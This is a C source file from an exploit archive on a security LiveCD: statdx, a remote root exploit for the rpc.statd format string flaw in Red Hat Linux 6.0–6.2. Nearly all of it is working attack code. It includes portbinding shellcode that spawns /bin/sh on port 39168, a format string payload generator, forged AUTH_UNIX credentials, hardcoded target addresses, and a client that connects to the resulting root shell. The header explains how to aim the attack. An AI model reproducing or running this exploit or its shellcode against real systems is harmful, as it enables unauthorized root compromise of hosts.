home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / statdx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  19KB  |  611 lines

  1. /**
  2. *** statdx
  3. *** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32)
  4. *** by ron1n <shellcode@hotmail.com>
  5. ***
  6. *** August 3, 2000
  7. *** Sydney, Australia
  8. ***
  9. *** Oh you prob'ly won't remember me
  10. *** It's prob'ly ancient history
  11. *** I'm one of the chosen few
  12. *** Who went ahead and fell for you
  13. ***
  14. *** $ gcc -o statdx statdx.c ; ./statdx -h
  15. ***
  16. *** Thanks to smiler for the format string vulnerability clarification. 
  17. ***
  18. *** background info
  19. *** ---------------
  20. *** rpc.statd is an ONC RPC server that implements the Network Status
  21. *** Monitor RPC protocol to provide reboot notification. It is used by
  22. *** the NFS file locking service (rpc.lockd) when it performs lock
  23. *** recovery.
  24. ***
  25. *** Due to a format string vulnerability in a call to syslog() within
  26. *** its logging module, rpc.statd can be exploited remotely by script
  27. *** kids bent on breaking into your Redhat Linux box and defacing your
  28. *** website with crackpot political musings.
  29. ***
  30. *** This is not a traditional buffer overflow vulnerability. The data
  31. *** are kept within the bounds of the buffer by means of a call to
  32. *** vsnprintf(). The saved return address can be overwritten indirectly
  33. *** without a contiguous payload. syslog() is given, for the most part,
  34. *** a user-supplied format string with no process-supplied arguments.
  35. *** Our format string will, if carefully constructed, cause the process
  36. *** to cull non-arbitrary addresses from the top of the stack for
  37. *** sequential writes using controlled values. Exploitation requires
  38. *** an executable stack on the target host -- almost invariably the
  39. *** case. This problem was corrected in the nfs-utils-0.1.9.1 rpm.
  40. ***
  41. *** exploit info
  42. *** ------------
  43. *** You have one shot at this in most situations, so get it right!
  44. ***
  45. *** If you know the port number rpc.statd is serving requests on, you
  46. *** can supply the port number on the commandline to bypass the initial
  47. *** portmapper query. This is very useful for hosts which are filtering
  48. *** inbound connections to the portmapper. The default attack protocol
  49. *** is UDP. There is a commandline option to use TCP. Apparently, the
  50. *** dispatcher uses both protocols by default.
  51. ***
  52. *** If you're only interested in exploiting a host, then you can safely
  53. *** skip the following information. You'll only need a buffer address
  54. *** to get started. This buffer address will either be one of my canned
  55. *** ones or your own one. It must be precise, and this is where you're
  56. *** likely to experience difficulties with your attacks.
  57. ***
  58. *** [va_list][str][4][r][4][r+1][4][r+2][4][r+3]----->
  59. *** |       |
  60. *** %esp    buffer[1024]
  61. ***
  62. *** [%8x..][%!x][%n][%!x][%n][%!x][%n][%!x][%n][sc]--->
  63. ***        |   r   |   r+1  |   r+2  |  r+3   |
  64. ***
  65. *** buffer  ->  This is the address you'll need (-a and -l options)
  66. *** str     ->  Process-supplied string; 24 bytes long
  67. *** 4       ->  Duplicate dwords to satisfy the %!d specifiers and
  68. ***             the double %n when two successive values are equal
  69. *** r       ->  Stack position of saved eip
  70. *** %8x..   ->  Wipes the va_list dword and str; 9 by default (-w option)
  71. *** %!x     ->  Used for padding to form an aggregate overwrite value;
  72. ***             the exclamation mark denotes a field width. This may
  73. ***             or may not be present, depending on the value. An
  74. ***             algorithm is used to allow tricky values.
  75. *** %n      ->  Writes overwrite value to the corresponding address
  76. *** sc      ->  Nops + portbinding shellcode (port 39168)
  77. ***
  78. *** Only modify the default wipe value and the default offset value if you
  79. *** know what you're doing.
  80. ***
  81. *** An easy way to get the buffer address for simulation systems that you
  82. *** have privileged access to:
  83. ***
  84. *** [term 1]# ltrace -p `pidof rpc.statd` -o foo
  85. *** [term 2]$ ./statdx -a 0x41414141 localhost
  86. *** [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \
  87. ***         awk -F"," '{print $1}'
  88. ***
  89. *** (Of course, ensure that rpc.statd is started at boot time and not from
  90. *** an interactive shell, otherwise it will inherit a larger environment
  91. *** and blow the accuracy of your findings.)
  92. ***
  93. *** Ok, longwinded enough. Let's dance.
  94. ***
  95. *** greets
  96. *** ------
  97. *** ADM, attrition, rogues, security.is, teso
  98. ***
  99. **/
  100.  
  101. #include <stdio.h>
  102. #include <stdlib.h>
  103. #include <string.h>
  104. #include <errno.h>
  105. #include <unistd.h>
  106. #include <netdb.h>
  107. #include <rpc/rpc.h>
  108. #include <sys/types.h>
  109. #include <sys/time.h>
  110. #include <sys/socket.h>
  111. #include <netinet/in.h>
  112.  
  113. #define SM_PROG 100024
  114. #define SM_VERS 1
  115. #define SM_STAT 1
  116. #define SM_MAXSTRLEN 1024
  117.  
  118. #define max(a,b) ((a)>(b)?(a):(b))
  119.  
  120. #define NOP 0x90
  121.  
  122. /*
  123. ** Non-ripped linux IA32 portbinding shellcode.
  124. ** port: 39168 ; length: 133 bytes
  125. */
  126.  
  127. char shellcode[] =
  128. "\x31\xc0"                              /* xorl   %eax,%eax             */
  129. /* jmp ricochet ------------------------------------------------------- */
  130. "\xeb\x7c"                              /* jmp    0x7c                  */
  131. /* kungfu: ------------------------------------------------------------ */
  132. "\x59"                                  /* popl   %ecx                  */
  133. "\x89\x41\x10"                          /* movl   %eax,0x10(%ecx)       */
  134. /* ------------------------------------ socket(2,1,0); ---------------- */
  135. "\x89\x41\x08"                          /* movl   %eax,0x8(%ecx)        */
  136. "\xfe\xc0"                              /* incb   %al                   */
  137. "\x89\x41\x04"                          /* movl   %eax,0x4(%ecx)        */
  138. "\x89\xc3"                              /* movl   %eax,%ebx             */
  139. "\xfe\xc0"                              /* incb   %al                   */
  140. "\x89\x01"                              /* movl   %eax,(%ecx)           */
  141. "\xb0\x66"                              /* movb   $0x66,%al             */
  142. "\xcd\x80"                              /* int    $0x80                 */
  143. /* ------------------------------------ bind(sd,&sockaddr,16); -------- */
  144. "\xb3\x02"                              /* movb   $0x2,%bl              */
  145. "\x89\x59\x0c"                          /* movl   %ebx,0xc(%ecx)        */
  146. "\xc6\x41\x0e\x99"                      /* movb   $0x99,0xe(%ecx)       */
  147. "\xc6\x41\x08\x10"                      /* movb   $0x10,0x8(%ecx)       */
  148. "\x89\x49\x04"                          /* movl   %ecx,0x4(%ecx)        */
  149. "\x80\x41\x04\x0c"                      /* addb   $0xc,0x4(%ecx)        */
  150. "\x88\x01"                              /* movb   %al,(%ecx)            */
  151. "\xb0\x66"                              /* movb   $0x66,%al             */
  152. "\xcd\x80"                              /* int    $0x80                 */
  153. /* ------------------------------------ listen(sd,blah); -------------- */
  154. "\xb3\x04"                              /* movb   $0x4,%bl              */
  155. "\xb0\x66"                              /* movb   $0x66,%al             */
  156. "\xcd\x80"                              /* int    $0x80                 */
  157. /* ------------------------------------ accept(sd,0,16); -------------- */
  158. "\xb3\x05"                              /* movb   $0x5,%bl              */
  159. "\x30\xc0"                              /* xorb   %al,%al               */
  160. "\x88\x41\x04"                          /* movb   %al,0x4(%ecx)         */
  161. "\xb0\x66"                              /* movb   $0x66,%al             */
  162. "\xcd\x80"                              /* int    $0x80                 */
  163. /* ------------------------------------ dup2(cd,0); ------------------- */
  164. "\x89\xce"                              /* movl   %ecx,%esi             */
  165. "\x88\xc3"                              /* movb   %al,%bl               */
  166. "\x31\xc9"                              /* xorl   %ecx,%ecx             */
  167. "\xb0\x3f"                              /* movb   $0x3f,%al             */
  168. "\xcd\x80"                              /* int    $0x80                 */
  169. /* ------------------------------------ dup2(cd,1); ------------------- */
  170. "\xfe\xc1"                              /* incb   %cl                   */
  171. "\xb0\x3f"                              /* movb   $0x3f,%al             */
  172. "\xcd\x80"                              /* int    $0x80                 */
  173. /* ------------------------------------ dup2(cd,2); ------------------- */
  174. "\xfe\xc1"                              /* incb   %cl                   */
  175. "\xb0\x3f"                              /* movb   $0x3f,%al             */
  176. "\xcd\x80"                              /* int    $0x80                 */
  177. /* ------------------------------------ execve("/bin/sh",argv,0); ----- */
  178. "\xc7\x06\x2f\x62\x69\x6e"              /* movl   $0x6e69622f,(%esi)    */
  179. "\xc7\x46\x04\x2f\x73\x68\x41"          /* movl   $0x4168732f,0x4(%esi) */
  180. "\x30\xc0"                              /* xorb   %al,%al               */
  181. "\x88\x46\x07"                          /* movb   %al,0x7(%esi)         */
  182. "\x89\x76\x0c"                          /* movl   %esi,0xc(%esi)        */
  183. "\x8d\x56\x10"                          /* leal   0x10(%esi),%edx       */
  184. "\x8d\x4e\x0c"                          /* leal   0xc(%esi),%ecx        */
  185. "\x89\xf3"                              /* movl   %esi,%ebx             */
  186. "\xb0\x0b"                              /* movb   $0xb,%al              */
  187. "\xcd\x80"                              /* int    $0x80                 */
  188. /* ------------------------------------ exit(blah); ------------------- */
  189. "\xb0\x01"                              /* movb   $0x1,%al              */
  190. "\xcd\x80"                              /* int    $0x80                 */
  191. /* ricochet: call kungfu ---------------------------------------------- */
  192. "\xe8\x7f\xff\xff\xff";                 /* call   -0x81                 */
  193.  
  194. enum res
  195. {
  196.     stat_succ,
  197.     stat_fail
  198. };
  199.  
  200. struct sm_name
  201. {
  202.     char *mon_name;
  203. };
  204.  
  205. struct sm_stat_res
  206. {
  207.     enum res res_stat;
  208.     int state;
  209. };
  210.  
  211. struct type
  212. {
  213.     int type;
  214.     char *desc;
  215.     char *code;
  216.     u_long bufpos;
  217.     int buflen;
  218.     int offset;
  219.     int wipe;
  220. };
  221.  
  222. struct type types[] =
  223. {
  224.     {0, "Redhat 6.2 (nfs-utils-0.1.6-2)", shellcode, 0xbffff314, 1024, 600, 9},
  225.     {1, "Redhat 6.1 (knfsd-1.4.7-7)", shellcode, 0xbffff314, 1024, 600, 9},
  226.     {2, "Redhat 6.0 (knfsd-1.2.2-4)", shellcode, 0xbffff314, 1024, 600, 9},
  227.     {0, NULL, NULL, 0, 0, 0, 0}
  228. };
  229.  
  230. bool_t
  231. xdr_sm_name(XDR *xdrs, struct sm_name *objp)
  232. {
  233.     if (!xdr_string(xdrs, &objp->mon_name, SM_MAXSTRLEN))
  234.         return (FALSE);
  235.     return (TRUE);
  236. }
  237.  
  238. bool_t
  239. xdr_res(XDR *xdrs, enum res *objp)
  240. {
  241.     if (!xdr_enum(xdrs, (enum_t *)objp))
  242.         return (FALSE);
  243.     return (TRUE);
  244. }
  245.  
  246. bool_t
  247. xdr_sm_stat_res(XDR *xdrs, struct sm_stat_res *objp)
  248. {
  249.     if (!xdr_res(xdrs, &objp->res_stat))
  250.         return (FALSE);
  251.     if (!xdr_int(xdrs, &objp->state))
  252.         return (FALSE);
  253.     return (TRUE);
  254. }
  255.  
  256. void
  257. usage(char *app)
  258. {
  259.     int i;
  260.  
  261.     fprintf(stderr, "statdx by ron1n <shellcode@hotmail.com>\n");
  262.     fprintf(stderr, "Usage: %s [-t] [-p port] [-a addr] [-l len]\n", app);
  263.     fprintf(stderr, "\t[-o offset] [-w num] [-s secs] [-d type] <target>\n");
  264.     fprintf(stderr, "-t\tattack a tcp dispatcher [udp]\n");
  265.     fprintf(stderr, "-p\trpc.statd serves requests on <port> [query]\n");
  266.     fprintf(stderr, "-a\tthe stack address of the buffer is <addr>\n");
  267.     fprintf(stderr, "-l\tthe length of the buffer is <len> [1024]\n");
  268.     fprintf(stderr, "-o\tthe offset to return to is <offset> [600]\n");
  269.     fprintf(stderr, "-w\tthe number of dwords to wipe is <num> [9]\n");
  270.     fprintf(stderr, "-s\tset timeout in seconds to <secs> [5]\n");
  271.     fprintf(stderr, "-d\tuse a hardcoded <type>\n");
  272.     fprintf(stderr, "Available types:\n");
  273.  
  274.     for(i = 0; types[i].desc; i++)
  275.         fprintf(stderr, "%d\t%s\n", types[i].type, types[i].desc);
  276.  
  277.     exit(EXIT_FAILURE);
  278. }
  279.  
  280. void
  281. runshell(int sockd)
  282. {
  283.     char buff[1024];
  284.     int fmax, ret;
  285.     fd_set fds;
  286.  
  287.     fmax = max(fileno(stdin), sockd) + 1;
  288.     send(sockd, "cd /; ls -alF; id;\n", 19, 0);
  289.  
  290.     for(;;)
  291.     {
  292.  
  293.         FD_ZERO(&fds);
  294.         FD_SET(fileno(stdin), &fds);
  295.         FD_SET(sockd, &fds);
  296.  
  297.         if(select(fmax, &fds, NULL, NULL, NULL) < 0)
  298.         {
  299.             perror("select()");
  300.             exit(EXIT_FAILURE);
  301.         }
  302.  
  303.         if(FD_ISSET(sockd, &fds))
  304.         {
  305.             bzero(buff, sizeof buff);
  306.             if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
  307.             {
  308.                 perror("recv()");
  309.                 exit(EXIT_FAILURE);
  310.             }
  311.             if(!ret)
  312.             {
  313.                 fprintf(stderr, "Connection closed\n");
  314.                 exit(EXIT_FAILURE);
  315.             }
  316.             write(fileno(stdout), buff, ret);
  317.         }
  318.  
  319.         if(FD_ISSET(fileno(stdin), &fds))
  320.         {
  321.             bzero(buff, sizeof buff);
  322.             ret = read(fileno(stdin), buff, sizeof buff);
  323.             errno = 0;
  324.             if(send(sockd, buff, ret, 0) != ret)
  325.             {
  326.                 if(errno) perror("send()");
  327.                 else fprintf(stderr, "Transmission loss\n");
  328.                 exit(EXIT_FAILURE);
  329.             }
  330.         }
  331.     }
  332. }
  333.  
  334. void
  335. connection(struct sockaddr_in host)
  336. {
  337.     int sockd;
  338.  
  339.     host.sin_port = htons(39168);
  340.  
  341.     if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  342.     {
  343.         perror("socket()");
  344.         exit(EXIT_FAILURE);
  345.     }
  346.  
  347.     if(!connect(sockd, (struct sockaddr *) &host, sizeof host))
  348.     {
  349.         printf("OMG! You now have rpc.statd technique!@#$!\n");
  350.         runshell(sockd);
  351.     }
  352.  
  353.     close(sockd);
  354. }
  355.  
  356.  
  357. char *
  358. wizardry(char *sc, u_long bufpos, int buflen, int offset, int wipe)
  359. {
  360.     int i, j, cnt, pad;
  361.     char pbyte, *buff, *ptr;
  362.     u_long retpos;
  363.     u_long dstpos;
  364.  
  365.  
  366.     while(bufpos % 4) bufpos--;
  367.     /* buflen + ebp */
  368.     retpos = bufpos + buflen + 4;
  369.  
  370. /*
  371. ** 0x00 == '\0'
  372. ** 0x25 == '%'
  373. ** (add troublesome bytes)
  374. ** Alignment requirements aid comparisons
  375. */
  376.  
  377.     pbyte = retpos & 0xff;
  378.  
  379.     /* Yes, it's 0x24 */
  380.     if(pbyte == 0x00 || pbyte == 0x24)
  381.     {
  382.         fprintf(stderr, "Target address space contains a poison char\n");
  383.         exit(EXIT_FAILURE);
  384.     }
  385.  
  386. /*
  387. ** Unless the user gives us a psychotic value,
  388. ** the address should now be clean.
  389. */
  390.  
  391.     /* str */
  392.     cnt = 24;
  393.     /* 1 = process nul */
  394.     buflen -= cnt + 1;
  395.  
  396.     if(!(buff = malloc(buflen + 1)))
  397.     {
  398.         perror("malloc()");
  399.         exit(EXIT_FAILURE);
  400.     }
  401.  
  402.     ptr = buff;
  403.     memset(ptr, NOP, buflen);
  404.  
  405.     for(i = 0; i < 4; i++, retpos++)
  406.     {
  407.         /* junk dword */
  408.         for(j = 0; j < 4; j++)
  409.             *ptr++ = retpos >> j * 8 & 0xff;
  410.         /* r + i */
  411.         memcpy(ptr, ptr - 4, 4);
  412.         ptr += 4; cnt += 8;
  413.     }
  414.  
  415.     /* restore */
  416.     retpos -= 4;
  417.  
  418.     for(i = 0; i < wipe; i++)
  419.     {
  420.         /* consistent calculations */
  421.         strncpy(ptr, "%8x", 3);
  422.         ptr += 3; cnt += 8;
  423.     }
  424.  
  425.     dstpos = bufpos + offset;
  426.  
  427. /*
  428. ** This small algorithm of mine can be used
  429. ** to obtain "difficult" values..
  430. */
  431.  
  432.     for(i = 0; i < 4; i++)
  433.     {
  434.         pad = dstpos >> i * 8 & 0xff;
  435.         if(pad == (cnt & 0xff))
  436.         {
  437.             sprintf(ptr, "%%n%%n");
  438.             ptr += 4; continue;
  439.         }
  440.         else
  441.         {
  442.             int tmp;
  443.             /* 0xffffffff = display count of 8 */
  444.             while(pad < cnt || pad % cnt <= 8) pad += 0x100;
  445.             pad -= cnt, cnt += pad;
  446.             /* the source of this evil */
  447.             tmp = sprintf(ptr, "%%%dx%%n", pad);
  448.             ptr += tmp;
  449.         }
  450.  
  451.     }
  452.  
  453.     *ptr = NOP;
  454.     /* plug in the shellcode */
  455.     memcpy(buff + buflen - strlen(sc), sc, strlen(sc));
  456.     buff[buflen] = '\0';
  457.  
  458.     printf("buffer: %#lx length: %d (+str/+nul)\n", bufpos, strlen(buff));
  459.     printf("target: %#lx new: %#lx (offset: %d)\n", retpos, dstpos, offset);
  460.     printf("wiping %d dwords\n", wipe);
  461.     return buff;
  462. }
  463.  
  464. struct in_addr
  465. getip(char *host)
  466. {
  467.     struct hostent *hs;
  468.  
  469.     if((hs = gethostbyname(host)) == NULL)
  470.     {
  471.         herror("gethostbyname()");
  472.         exit(EXIT_FAILURE);
  473.     }
  474.  
  475.     return *((struct in_addr *) hs->h_addr);
  476. }
  477.  
  478.  
  479. int
  480. main(int argc, char **argv)
  481. {
  482.     int ch;
  483.     char *buff;
  484.  
  485.     CLIENT *clnt;
  486.     enum clnt_stat res;
  487.     struct timeval tv, tvr;
  488.     struct sm_name smname;
  489.     struct sm_stat_res smres;
  490.     struct sockaddr_in addr;
  491.  
  492.     int type = -1;
  493.     int usetcp = 0;
  494.     int timeout = 5;
  495.     int wipe = 9;
  496.     int offset = 600;
  497.     int buflen = 1024;
  498.     char *target;
  499.     char *sc = shellcode;
  500.     u_short port = 0;
  501.     u_long bufpos = 0;
  502.  
  503.     int sockp = RPC_ANYSOCK;
  504.  
  505.     extern char *optarg;
  506.     extern int optind;
  507.     extern int opterr;
  508.     opterr = 0;
  509.  
  510.  
  511.     while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)
  512.     {
  513.         switch(ch)
  514.         {
  515.             case 't': usetcp = 1; break;
  516.             case 'p': sscanf(optarg, "%hu", &port); break;
  517.             case 'a': sscanf(optarg, "%lx", &bufpos); break;
  518.             case 'l': buflen = atoi(optarg); break;
  519.             case 'o': offset = atoi(optarg); break;
  520.             case 's': timeout = atoi(optarg); break;
  521.             case 'w': wipe = atoi(optarg); break;
  522.             case 'd': type = atoi(optarg); break;
  523.             default : usage(argv[0]);
  524.         }
  525.     }
  526.  
  527.     if(!(target = argv[optind]))
  528.     {
  529.         fprintf(stderr, "No target host specified\n");
  530.         exit(EXIT_FAILURE);
  531.     }
  532.  
  533.     if(type >= 0)
  534.     {
  535.         if(type >= sizeof types / sizeof types[0] - 1)
  536.         {
  537.             fprintf(stderr, "Invalid type\n");
  538.             exit(EXIT_FAILURE);
  539.         }
  540.  
  541.         sc = types[type].code;
  542.         bufpos = types[type].bufpos;
  543.         buflen = types[type].buflen;
  544.         offset = types[type].offset;
  545.         wipe = types[type].wipe;
  546.     }
  547.  
  548.     if(!bufpos)
  549.     {
  550.         fprintf(stderr, "No buffer address specified\n");
  551.         exit(EXIT_FAILURE);
  552.     }
  553.  
  554.     bzero(&addr, sizeof addr);
  555.     addr.sin_family = AF_INET;
  556.     addr.sin_port = htons(port);
  557.     addr.sin_addr = getip(target);
  558.  
  559.     tv.tv_sec = timeout;
  560.     tv.tv_usec = 0;
  561.  
  562.     if(!usetcp)
  563.     {
  564.         clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
  565.         if(clnt == NULL)
  566.         {
  567.             clnt_pcreateerror("clntudp_create()");
  568.             exit(EXIT_FAILURE);
  569.         }
  570.         tvr.tv_sec = 2;
  571.         tvr.tv_usec = 0;
  572.         clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
  573.     }
  574.     else
  575.     {
  576.         clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
  577.         if(clnt == NULL)
  578.         {
  579.             clnt_pcreateerror("clnttcp_create()");
  580.             exit(EXIT_FAILURE);
  581.         }
  582.     }
  583.  
  584.     /* AUTH_UNIX / AUTH_SYS authentication forgery */
  585.     clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
  586.  
  587.     buff = wizardry(sc, bufpos, buflen, offset, wipe);
  588.     smname.mon_name = buff;
  589.  
  590.     res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
  591.         (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
  592.         (caddr_t) &smres, tv);
  593.  
  594.     if(res != RPC_SUCCESS)
  595.     {
  596.         clnt_perror(clnt, "clnt_call()");
  597.         printf("A timeout was expected. Attempting connection to shell..\n");
  598.         sleep(5); connection(addr);
  599.         printf("Failed\n");
  600.     }
  601.     else
  602.     {
  603.         printf("Failed - statd returned res_stat: (%s) state: %d\n",
  604.                 smres.res_stat ? "failure" : "success", smres.state);
  605.     }
  606.  
  607.     free(buff);
  608.     clnt_destroy(clnt);
  609.     return -1;
  610. }
  611. /*                    www.hack.co.za           [7 August 2000]*/